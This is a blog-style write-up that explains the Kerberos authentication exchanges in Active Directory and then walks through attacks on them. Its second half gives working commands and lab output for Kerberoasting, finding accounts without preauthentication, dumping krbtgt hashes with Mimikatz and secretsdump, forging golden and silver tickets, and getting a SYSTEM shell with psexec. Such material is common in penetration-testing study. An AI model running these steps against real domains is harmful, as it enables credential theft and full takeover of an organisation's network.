#TIFG: Kerberos

Monday, February 24, 2020

Introduction

Kerberos (/ˈkɜːrbərɒs/) is a computer-network authentication protocol that works on the basis of tickets to allow nodes communicating over a non-secure network to prove their identity to one another in a secure manner.

Its a protocol commonly used within Microsoft Active Directory environments and is designed to provide strong authentication for client/server applications by using secret-key cryptography.

This write-up will explain how it works, and how its commonly broken.

The Authentication Process

In order for Kerberos to work, there are 3 particpants:

  1. A Client

    This can be a machine, but most of the time, is a user.

  2. A Resource

    This is what the client is trying to get to. For example, a file server.

  3. A Key Distribution Centre

    This is a domain controller, this is what facilitates the authentication. It utilises two main services.

    • Kerberos Authentication Service (AS Exchange)
    • Ticket Granting Service (TGS)

Interestingly, there is no direct communcation between the fileserver and the KDC. The client actually takes on most of the processing work with a Kerberos transaction.

The Authenticator

The first thing that the client has to do is create a small package called an authenticator that contains several key pieces of information to identify who the client is claiming to be and the date/time. These authenticators are temporary, they are only good for a certain amount of time, this prevents any form of relay attack. A portion of this is unencrypted, this will be things like the username so that the KDC knows who is trying to authenticate to it. But, a portion of it is encrypted. The encryption is done using the users password, a known encryption key. This is a shared key because the KDC, or Domain Controller, can decrypt it and open the authenticator and identify who this user is claiming to be. The KDC then falls into an if:

The KDC will go into its database and extract what it thinks the users passowrd is, and attempt to decrypt it.

If it cant, then the user is declined access.

Otherwise, the user must be who they say they are because the password worked to decrypt the authenticator. At this point, the authenticator can be discarded and the process can move on.

On a more technical level, this operation is called an AS-REQ. AS_REQ is the initial authentication request, the Kerberos client asks the KDC, more specifically the Kerberos Authentication Service (AS Exchange), for a TGT. This is in plain-text and is structured like this:

AS_REQ = ( PrincipalClient , PrincipalService , IP_list , Lifetime ) 
  1. PrincipalClient

    Is the userPrincipalName, it is the name that represents the user within Active Directory. Example: jwilleke@example.com.

  2. PrincipalService

    Is the ServicePrincipalName (SPN), it is the name a client uses to identify a service for mutual authentication.

Once the AS_REQ has been sent, the process moves onto the next section.

Ticket Granting Ticket

A Ticket Granting Ticket (TGT), is partially encrypted with the KDC encryption key. This key is only known to the KDC and the TGT is then transmitted back to the client. Once this is back with the client, it is stored in within memory in a place called the Kerberos Tray.

Breaking this down more technically; once the AS_REQ arrives at the AS Exchange, it checks the PrincipalClient and PrincipalService exist within the KDC Database. If at least one of the two dont, it will return an error. Othewise, it will do several things.

  1. The AS Exchange will randomly create a session key which will be the secret shared between the client and the TGS.

  2. The AS Exchange then creates the TGT which adds several things into it (first three items are from the AS-REQ:

    • UserPrincipalName
    • ServicePrincipalName, this is typically KRBTGT/REALM@REALM.
    • IP Address list.
    • Date/Time of the KDC
    • Lifetime of the TGT
    • Aforementioned Session Key.

    The TGT will look like this:

    TGT = ( PrincipalClient , krbtgt/REALM@REALM , IP_list , Timestamp , Lifetime , SKTGS ) 
    

Now that the TGT has been created, the AS-Exchange needs to reply to the clients AS-REQ. The reply to this is the AS-REP operation. It consists of:

  1. The ticket created previously, this is encrypted with the services key.
  2. The SPN, timestamp, lifetime, session key are all encrypted using the secret-key for the user requesting the service. For the example, say the users name is jsparrow.

The AS-REP will look like this:

AS_REP = { PrincipalService , Timestamp , Lifetime , SKTGS }jsparrow { TGT }KTGS 

This is then sent to the client and the client will then store the TGT within the Kerberos Tray.

Accessing a resource

With a TGT generated. The client still cannot access the resource, this is because the client does not have a ticket for the file server. The whole idea of ticketing should make sense at this point.

To get a ticket for the resource, the client has to go back to the KDC and request a ticket for the resource, this process is called the TGS_REQ and to be more specific, this request is being sent to the Ticket Granting Service (TGS) on the KDC.

Within this TGS_REQ are several components, one of which is the TGT. The KDC will be able to decrypt it with its own secret key which it used to create the TGT previously. There is no additional lookups or any trusts being reformed because the TGT acts as an authenticated client.

NOTE: By default, a TGT will last for 8 hours. After that, a new TGT will have to be requested.

With a successful decryption of the TGT, the KDC now knows that the client has already had its identity validated and is now able to create a new ticket. This new ticket is encrypted with the password of the resource. The KDC is able to do this because it is a Domain Controller and has the credentials stored. There is no communcation with the resource because of this too. The new ticket is then sent to the client which stores it within the Kerberos Tray, this process is the TGS_REP.

With the ticket in the Kerberos Tray, the client now has to make an AP_REQ. This is sent anytime the client needs to access the resource, it simply sends the ticket via an AP_REQ directly to the resource. If the resource and client have not previously communicated within the 8 hour timeframe, then the resource attempts to decrypt the ticket with its own password. As this is the same password as the one stored within the Domain Controller, it should be able to decrypt this and respond with an AS_REP.

If everytime a client authenticated to a resource, the resource stored the ticket in memory; the resource would probably die. So, instead, everytime the client wishes to talk to the resource, the ticket is resent.

As per the structure with the other sections. I want to dive into more technical detail on this process.

Short Review

  1. AS_REQ

    The client attempts to validate itself to the AS Exchange by submitting a UserPrincipalName and some other data encrypted with the domain credentials.

  2. AS_REP

    The AS Exchange decrypts a the AS_REQ with the domain credentials. If all goes well, the AS Exchange replies with an AS_REP containing the TGT.

  3. TGS_REQ

    With the TGT, the client needs to generate a service ticket for the resource. To do this, the client sends a TGS_REQ to the TGS which includes the TGT. The TGS will generate a ticket for the session and it will have a timestamp and a session-key. This session ticket will be encrypted with the resources credentials. This ticket will be encrypted again with the clients key. Finally, this is sent back to the client.

  4. TGS_REP

    The reply sent will contain a double-encrypted key. At this point, the client will decrypt the first layer of encryption with its own password and store it along side the TGT in the Kerberos Tray.

  5. AP_REQ

    The client will send the service ticket generated from the TGS and the service will decrypt this with its own credentials and verify the data within. If the data, such as the Principal names, are correct. It will send a reply.

  6. AP_REP

    FInally, the service will confirm and give access to the client.

Side note, this has esentially 3 processes; AS, TGS and AP. Thats probably why its called Kerberos.

Exploiting Kerberos

Kerberoasting

Kerberoasting is an exploit that takes advantage of how Service Accounts leverage Kerberos authentication with Service Principal Names.

Once the user has been validated via the AS_REQ and AS_REP process, the authenticated user has access to a Ticket Granting Ticket (TGT). With this TGT a user can request a Service Ticket to some form of resource (fileserver, MSSQL, HTTP etc) which is sent via a TGS_REQ. Once this has been established, the KDC will respond with a TGS_REP which encrypts a portion of this ticket may with the RC4 algorithm. This means that the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key.

What kerberoasting does is, is it extracts that piece of the service accounts encrpytion, and allows for it to be cracked offline.

To execute a kerberoasting attack, the following things need to have been achieved:

  1. Obtain valid Domain Credentials
  2. Request service tickets from AD using SPN values.
  3. Extract service tickets.
  4. Brute-force.

Assuming domain.local/username has a password of Password1, then the GetUserSPNs.py syntax will look like this:

python GetUserSPNs.py -target-domain domain.local/usernamer:Password1 -outputfile kerberoast-hashes.txt -request

Inter-realm Kerberoasting

This is a complex topic and the attack is only viable for the first 30 days of Kerberos configuration, but see XPNs blog for the details.

AS-REP Roasting

Harmj0y:

Under normal operations in a Windows Kerberos environment, when you initiate a TGT request for a given user (Kerberos AS-REQ, message type 10) you have to supply a timestamp encrypted with that user’s key/password. This structure is PA-ENC-TIMESTAMP and is embedded in PA-DATA (preauthorization data) of the AS-REQ – both of these structure are described in detail on page 60 of RFC4120 and were introduced in Kerberos Version 5. The KDC then decrypts the timestamp to verify if the subject making the AS-REQ really is that user, and then returns the AS-REP and continues with normal authentication procedures.

The reason for Kerberos preauthentication is to prevent offline password guessing. While the AS-REP ticket itself is encrypted with the service key (in this case the krbtgt hash) the AS-REP “encrypted part” is signed with the client key, i.e. the key of the user we send an AS-REQ for.

If preauthentication isn’t enabled, an attacker can send an AS-REQ for any user that doesn’t have preauth required and receive a bit of encrypted material back that can be cracked offline to reveal the target user’s password.

Within Harmj0ys blog, he goes on to discuss why Windows defaults to no preauthentication:

This is something that has been known for a long time, after all, it’s the reason preauth was implemented in Kerberos! In modern Windows environments, all user accounts require Kerberos preauthentication, but interestingly enough, by default Windows attempts the AS-REQ/AS-REP exchange without preauthentication first, falling back to supplying the encrypted timestamp on the second submission[^1]:

Preauth Fail

Kerberos does this because the client does not know the supported ETYPES detailed in section 2.2 of RFC6113.

However, Windows offers a way to manually disable this protection for specific accounts through a useraccountcontrol modification:

Enabling no preauth

To find users with this setting, the following command can be used:

 get-aduser  -LDAP "(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" -properties DoesNotRequirePreAuth

This should result in something like this:

DistinguishedName     : CN=Momo,CN=Users,DC=avatar,DC=local
DoesNotRequirePreAuth : True
Enabled               : True
GivenName             : momo
Name                  : Momo
ObjectClass           : user
ObjectGUID            : 1845fa69-75d5-41fb-a00d-d5d31a2c0a22
SamAccountName        : momo
SID                   : S-1-5-21-606935684-1299751009-3170967887-1123
Surname               :
UserPrincipalName     : momo@avatar.local

Golden Tickets

The Golden Ticket is the Kerberos authentication token for the KRBTGT account. The KRBTGT is used for encrypting all the authentication tokens for the DC.

By obtaining the password for this account, an attacker is able to compromise every account within Active Directory, giving the attacker full control of the Environment.

KRBTGT Account

Domain Controllers are responsible for handling Kerberos ticket requests, as explained earlier in this post. The KRBTGT account is used to encrypt and sign all tickets within a domain, and domain controllers use the account password to decrypt Kerberos tickets for validation.

Notably, this account password will never change and the account name is the same in every domain.

On a Domain Controller, run:

lsadump::lsa /inject /name:krbtgt

It should result in something like this:

Domain : AVATAR / S-1-5-21-606935684-1299751009-3170967887

RID  : 000001f6 (502)
User : krbtgt

 * Primary
    NTLM : 736c2be25ea53f1cc08fd4b07d0fc665
    LM   :
  Hash NTLM: 736c2be25ea53f1cc08fd4b07d0fc665
    ntlm- 0: 736c2be25ea53f1cc08fd4b07d0fc665
    lm  - 0: 3633d0b43568860122be207fb24a303c

 * WDigest
    01  aa285253bfc0b86222759139c1e24593
    02  f484263f76dbde6bd504d48f5850f943
    03  5d29e4f15a64262dd9b1f195c5c71182
    04  aa285253bfc0b86222759139c1e24593
    05  f484263f76dbde6bd504d48f5850f943
    06  7d0642bb883dd10c6406a68cff473242
    07  aa285253bfc0b86222759139c1e24593
    08  b6f804a1ae972661559a238dec0b31d8
    09  b6f804a1ae972661559a238dec0b31d8
    10  3d3faccaf8a2f9ebad5557420df9e899
    11  e5d5ff78806130242b6fe0f4297362cf
    12  b6f804a1ae972661559a238dec0b31d8
    13  e18f8b17b77ae389adedb4b24a559018
    14  e5d5ff78806130242b6fe0f4297362cf
    15  d79ba4148d9dea4b6a1562247ba52316
    16  d79ba4148d9dea4b6a1562247ba52316
    17  fecc07128a86ed06816181af1938b816
    18  d29e112226b57d2cbff6eb3ba17a46e5
    19  79c37d31b60714fad83f64b7a3d59897
    20  c23694ac9b0477510d2f4662e707af12
    21  ba3fba0c36a1a494213c51c628fdb5ca
    22  ba3fba0c36a1a494213c51c628fdb5ca
    23  df7f06e2995bea7245dd759b47f7c0d7
    24  41b3479ea571725a03ba65c06d5c42dc
    25  41b3479ea571725a03ba65c06d5c42dc
    26  9c40fb2dfb342ef97952f4f240e4d2e4
    27  0bc4987a0b5d631330ff22a7843cedd1
    28  f1bcf0f4ec8a8a32f30e4fd24220b7a7
    29  5979291f6340e55c06e86dc79d51dbe7

 * Kerberos
    Default Salt : AVATAR.LOCALkrbtgt
    Credentials
      des_cbc_md5       : ece510bfa173ba3b

 * Kerberos-Newer-Keys
    Default Salt : AVATAR.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 012f5860420657bf28c31822509dd9912f8ad44516a717a822032e2bdcdfd28c
      aes128_hmac       (4096) : f88cf3a6efefa9a765bb1b77533e4035
      des_cbc_md5       (4096) : ece510bfa173ba3b

 * NTLM-Strong-NTOWF
    Random Value : b4e5d44d5f575664e5a85d8954581432

Additionally, this can be done with impacket:

secretsdump.py iroh@10.10.11.113 2>/dev/null | grep krbtgt | grep :::

This should result in:

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:736c2be25ea53f1cc08fd4b07d0fc665:::

With this, the following data is required to create the golden ticket:

  • User: The name of the user account the ticket will be created for.
  • RID : This is the RID for the impersonated account. This could be a real account, such as 500 for the Local Administrator, or something fake.
  • Groups: By default, this will be the Domain Administrators group.
  • SIDs: This will insert a SID into the SIDHistory attribute of the account in the ticket.

A ticket can now be generated:

kerberos::golden /domain:avatar.local /sid:S-1-5-21-606935684-1299751009-3170967887 /rc4:736c2be25ea53f1cc08fd4b07d0fc665 /user:GoldenTicketUser /id:500

Lets break this down:

  • /domain: The domain for the ticket to be valid on

  • /sid: The SID for the domain, this can be obtained millions of ways. However, the above Mimikatz output displays it too. Or with impacket:

    lookupsid.py iroh@10.10.11.113 2>/dev/null | grep "Domain SID"
    
  • /rc4: This is the NTLM provided in the previous command.

  • /user: The name that will be associated with the ticket.

  • /id: The RID that the ticket will impersonate. In this instance, Local Administrator.

The output:

d4b07d0fc665 /user:GoldenTicketUser /id:500
User      : GoldenTicketUser
Domain    : avatar.local (AVATAR)
SID       : S-1-5-21-606935684-1299751009-3170967887
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 736c2be25ea53f1cc08fd4b07d0fc665 - rc4_hmac_nt
Lifetime  : 10/02/2020 18:51:48 ; 07/02/2030 18:51:48 ; 07/02/2030 18:51:48
-> Ticket : ticket.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

This will also create a ticket.kirbi on the disk.

Again, this is also possible with impacket:

ticketer.py -nthash 736c2be25ea53f1cc08fd4b07d0fc665 -domain-sid "S-1-5-21-606935684-1299751009-3170967887" -domain avatar.local GoldenTicketUser

Which results in:

Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for avatar.local/GoldenTicketUser
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncAsRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncASRepPart
[*] Saving ticket in GoldenTicketUser.ccache

Armed with the ticket, it can be used in various ways. Here is one example with psexec:

export KRB5CCNAME=GoldenTicketUser.ccache; psexec.py -dc-ip 10.10.11.113 -target-ip 10.10.11.113 -no-pass -k avatar.local/GoldenTicketUser@v0001.avatar.local

Export the ticket to KRB5CCNAME as this is how impackets reads it, then make sure -no-pass and -k are used.

Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.10.11.113.....
[*] Found writable share ADMIN$
[*] Uploading file KXckEvkO.exe
[*] Opening SVCManager on 10.10.11.113.....
[*] Creating service HsLX on 10.10.11.113.....
[*] Starting service HsLX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Silver Tickets

Silver Tickets are compromised Kerberos Ticket Granting Service (TGS) tickets, which are also known as service tickets. This differs to a golden ticket as the silver ticket can create tickets on behalf of the service[^2]

To create a Silver Ticket, an attacker needs the password hash for the target service. If the target service is running under the context of a user account, like MS SQL, then the Service Account password hash is required in order to create a Silver Ticket. This process jumps to step 5 and 6 in the Short Review section.

In order to create a Silver Ticket, the following data is required[^3]:

Flag Description
/sid:S-1-5-21-606935684-1299751009-3170967887-1050 Current User’s SID.
/target:v0001.AVATAR.LOCAL Server with the required service
/service:http Service to attack
/rc4:736c2be25ea53f1cc08fd4b07d0fc665 Hash of the compromised account
/user:iroh User to create the ticket on behalf of.
/id:1200 Forged User RID

The command should look like this:

kerberos::golden /sid:S-1-5-21-606935684-1299751009-3170967887-1050 /domain:avatar.local /id:1200 /target:v0001.avatar.local /service:http /rc4:736c2be25ea53f1cc08fd4b07d0fc665 /user:iroh

This ticket can then be used the same way as the Golden Ticket.

References

WindowsPost-ExploitationKerberos

Potatoes

Net-NTLM Relaying